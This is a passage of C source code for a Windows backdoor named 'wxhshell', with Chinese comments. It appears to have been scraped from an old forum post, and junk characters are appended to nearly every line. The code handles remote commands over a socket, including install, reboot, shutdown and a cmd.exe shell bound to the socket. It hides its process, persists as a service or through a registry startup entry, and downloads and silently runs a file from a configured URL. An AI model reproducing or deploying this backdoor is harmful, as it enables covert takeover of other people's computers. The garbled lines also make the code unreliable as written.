  // 帮助 ES+ CAwqf  
  case '?': { pKc!sd C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  _'!?fA  
    break; EE  1D>I  
  } A?lL K&*  
  // 安装 fg)*TR  
  case 'i': { 3<r7"/5  
    if(Install()) ,IPt4EH$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A`3KE9ED  
    else '0+I'_(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ydzsJ+dx  
    break; d*^JO4'  
    } ! *sXLlS  
  // 卸载 as:l1S   
  case 'r': { &}p\&4  
    if(Uninstall()) L }*o8l`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )4ek!G]Rb  
    else J -z.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,H7_eVLWR  
    break; ^@V*:n^  
    } 1$T`j2s  
  // 显示 wxhshell 所在路径 !.j{vvQ/  
  case 'p': { %]LoR$|Y  
    char svExeFile[MAX_PATH]; DS(>R!bb  
    strcpy(svExeFile,"\n\r"); cn} CI  
      strcat(svExeFile,ExeFile); |M7C=z='  
        send(wsh,svExeFile,strlen(svExeFile),0); cj2Smgw&>  
    break; ]eGa_Ld  
    } 8UjIC4'  
  // 重启 zq</(5H  
  case 'b': { ]"T157F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fYP,V0P  
    if(Boot(REBOOT)) fF0K].  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dr.eos4 ~  
    else { ; pBLmm*F  
    closesocket(wsh); u;t<rEC2  
    ExitThread(0); 1 Gr^,Ry  
    } jv~#'=T'  
    break; F `:Q  
    } bra2xHK@  
  // 关机 wMCMrv:  
  case 'd': { t`JT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =cl#aS}e8  
    if(Boot(SHUTDOWN)) P;I,f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $JOz7j(  
    else { ,5c7jZ5H  
    closesocket(wsh); ZvF#J_%gE5  
    ExitThread(0); .@&FJYkLYi  
    } }6[jJ`=gOx  
    break; _|C3\x1c  
    } h/\v+xiF  
  // 获取shell y05!-G:Y\  
  case 's': { 3J"`mQ  
    CmdShell(wsh); uN<=v&]q  
    closesocket(wsh); [s^p P2  
    ExitThread(0); /1LN\Eu  
    break; ]  & ]G  
  } 961&rR}d  
  // 退出 zRjbEL  
  case 'x': { {1)bLG|$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9\!&c<i=  
    CloseIt(wsh); ,.P]5 lE  
    break; ?/&X _O  
    } 8 siP  
  // 离开 1^$hbRq  
  case 'q': { LE}`rW3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ??nT[bhQ  
    closesocket(wsh); EN`JzL jP  
    WSACleanup(); 28^/By:J  
    exit(1); #6@hVR.  
    break; 0t!ZMH  
        } .'M.yE~5J  
  } 5]*lH t  
  } bq7+l4CGTv  
]xvhUv!G  
  // 提示信息 |iJz[%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .K~V DUu  
} On);SN'  
  } O])vR<[  
vltE2mb  
  return; zk$h71<{.  
} {($mLfC4  
c= 2E/x?  
// shell模块句柄 C3 "EZe[R  
int CmdShell(SOCKET sock) BMAWjEr  
{ i-0 :Fs  
STARTUPINFO si; `P\H{  
ZeroMemory(&si,sizeof(si)); `{YOl\d_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X#axCDM-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g[i;>XyP  
PROCESS_INFORMATION ProcessInfo; 3\ajnd|  
char cmdline[]="cmd"; %rs2{Q2k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uvl91~&G  
  return 0; @GAj%MK$  
} ;L87 %P(.  
s8(Z&pQ  
// 自身启动模式 $!G|+OuTR  
int StartFromService(void) umP nw  
{ [uqr  
typedef struct }%wP^6G*x\  
{ E7h@c>IK  
  DWORD ExitStatus; 7V=deYt_p  
  DWORD PebBaseAddress; tz65Tn_M  
  DWORD AffinityMask; lg-`zV3  
  DWORD BasePriority; (1S9+H>g  
  ULONG UniqueProcessId; >;G_o="X  
  ULONG InheritedFromUniqueProcessId; L`M{bRl+1  
}   PROCESS_BASIC_INFORMATION; !(bYh`Uy  
W9gQho%9b  
PROCNTQSIP NtQueryInformationProcess; ;Uch  
C,;<SV2#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  @B{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bL<H$DB6  
OtL~NTY  
  HANDLE             hProcess; P `<TO   
  PROCESS_BASIC_INFORMATION pbi; u@Gum|_=N  
J8FzQ2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :6C R~p  
  if(NULL == hInst ) return 0; oBai9 [+  
XH0{|#hwN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d+P<ce2 G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "c~``i\G   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zhE4:g9v  
Fc=F2Mo?  
  if (!NtQueryInformationProcess) return 0; D3 +|Os)  
M&zB&Ia"'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2:.$:wS  
  if(!hProcess) return 0; $m>( kd1  
]nV_K}!w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZyU/ .Uk  
6;I zw$X  
  CloseHandle(hProcess); !U5Cwq  
 svo%NQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k!qOE\%B  
if(hProcess==NULL) return 0; 1\-lAk!   
aG"  
HMODULE hMod; #/(L.5d[  
char procName[255]; 6UN{Vjr%`  
unsigned long cbNeeded; (q 7;/n  
t re`iCH~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]%7m+-h@  
Yo5ged]i  
  CloseHandle(hProcess); N+R{&v7=F%  
lh0G/8+C  
if(strstr(procName,"services")) return 1; // 以服务启动 #I ,c'Vj  
brE%/%! e  
  return 0; // 注册表启动 !`U #Pjp.  
} KPK`C0mg@k  
,iiI5FR  
// 主模块 RionKiN  
int StartWxhshell(LPSTR lpCmdLine) ctb , w  
{ pdQaVe7tRo  
  SOCKET wsl; *JW.ca}  
BOOL val=TRUE; qsN}KgTjg  
  int port=0; $43CNnf3N  
  struct sockaddr_in door; >&Ye(3w&  
|%Y=]@f  
  if(wscfg.ws_autoins) Install(); Oa5-^&I  
B 4e}%  
port=atoi(lpCmdLine); /KiaLS  
{dl@ #T u  
if(port<=0) port=wscfg.ws_port; ' wLW`GX.  
4mGRk)hk:>  
  WSADATA data; ,({% t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IOrYm  
iee`Yg!EOH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0,LUi*10  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8r.MODZG/  
  door.sin_family = AF_INET; F j"]C.6B.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $iy(+}  
  door.sin_port = htons(port); 6>d 3*   
[di&N!Ao  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]w8h#p  
closesocket(wsl); Xp|$z~  
return 1; DqH]FS?]  
} \iwUsv>SB  
wzI*QXV2s  
  if(listen(wsl,2) == INVALID_SOCKET) { d D^?%,a  
closesocket(wsl); K8iQ?  
return 1; d/?0xLW  
} K!88 Nox(  
  Wxhshell(wsl); WdrMp  
  WSACleanup(); ~bjT,i  
y3 S T"U  
return 0; |R Qa.^.  
.w~L0(  
} ^F"eHUg  
6:TA8w|  
// 以NT服务方式启动 p_sqw~)^%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .O4=[wE!U  
{ `O,"mm^@U  
DWORD   status = 0; R<>uCF0  
  DWORD   specificError = 0xfffffff; YH[HJ#:7r  
x A ZRl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WoMMAo~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0[OlJMVf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ) nn v{hN  
  serviceStatus.dwWin32ExitCode     = 0; HtI>rj/\ x  
  serviceStatus.dwServiceSpecificExitCode = 0; @v\jL+B+m  
  serviceStatus.dwCheckPoint       = 0; "8yDqm  
  serviceStatus.dwWaitHint       = 0; h3-dJgb  
8g 2'[ci$q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E+aE5wmr  
  if (hServiceStatusHandle==0) return; Luh*+l-nO  
y=WCR*N  
status = GetLastError(); p["20 ?^  
  if (status!=NO_ERROR) 7!, p,|K  
{ t4,(W`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FE?^}VH  
    serviceStatus.dwCheckPoint       = 0; k$K>ml/h  
    serviceStatus.dwWaitHint       = 0; YcuHYf5  
    serviceStatus.dwWin32ExitCode     = status; k{C|{m  
    serviceStatus.dwServiceSpecificExitCode = specificError; )0@&pEObm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w3oe.hWP3N  
    return; 9O#?r82  
  } Ru`7Xd.  
}KL( -Ui$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jowR!rqf  
  serviceStatus.dwCheckPoint       = 0; & MfnH  
  serviceStatus.dwWaitHint       = 0; P0szY"}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "CWqPcr  
} }2_ i<4,L  
y +c 3#  
// 处理NT服务事件,比如:启动、停止 Os|F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NIOWjhi[Jn  
{  AQz&u  
switch(fdwControl) X=b]Whuv  
{ rexy*Xv`2p  
case SERVICE_CONTROL_STOP: GI*2*m!u  
  serviceStatus.dwWin32ExitCode = 0; gNo}\ lm4V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V_7QWIdiy>  
  serviceStatus.dwCheckPoint   = 0; vJ!<7 l&  
  serviceStatus.dwWaitHint     = 0; *Ry "`"  
  { /H[!v:U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $P~Tt4068  
  } 3MFb\s&Fq  
  return; S QVyCxcX_  
case SERVICE_CONTROL_PAUSE:  'x\{sv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |h1 Y3  
  break; syLpnNx=  
case SERVICE_CONTROL_CONTINUE: E?P:!V=_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R a?0jcSQ$  
  break; <</ Le%  
case SERVICE_CONTROL_INTERROGATE: qc`UDD5  
  break; 3P2L phW  
}; g JMv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VYN1^Tp  
} e$@azi1  
W_N!f=HW  
// 标准应用程序主函数 4wQ>HrS)(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gj([S17\0:  
{ CpF&Vy K  
S~LT Lv:>  
// 获取操作系统版本 |G]M"3^  
OsIsNt=GetOsVer(); s;-%Dfn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \?.Tq24  
@#5PPXp  
  // 从命令行安装 ~,.}@XlgT.  
  if(strpbrk(lpCmdLine,"iI")) Install(); VN9C@ ;'$  
/SZg34%  
  // 下载执行文件 86\B|!   
if(wscfg.ws_downexe) { Arb-,[kwN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KFMEY\6\h  
  WinExec(wscfg.ws_filenam,SW_HIDE); J~vK`+Zs  
} b}#ay2AR  
u0& dDZ  
if(!OsIsNt) { oVSq#I4  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;iEFG^'tG  
HideProc(); R+O[,UM^I~  
StartWxhshell(lpCmdLine); GiN\@F!  
} FsYsQ_,R3  
else u ?n{r  
  if(StartFromService()) [3QKBV1\  
  // 以服务方式启动 w_!]_6%{b  
  StartServiceCtrlDispatcher(DispatchTable); Hh1OD?N)  
else oUwu:&<Orm  
  // 普通方式启动 0Bpix|mq  
  StartWxhshell(lpCmdLine); 6+[7UH~pm^  
f}>S"fFI  
return 0; hd}"%9p  
}
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只看该作者 1 发表于: 2006-10-10
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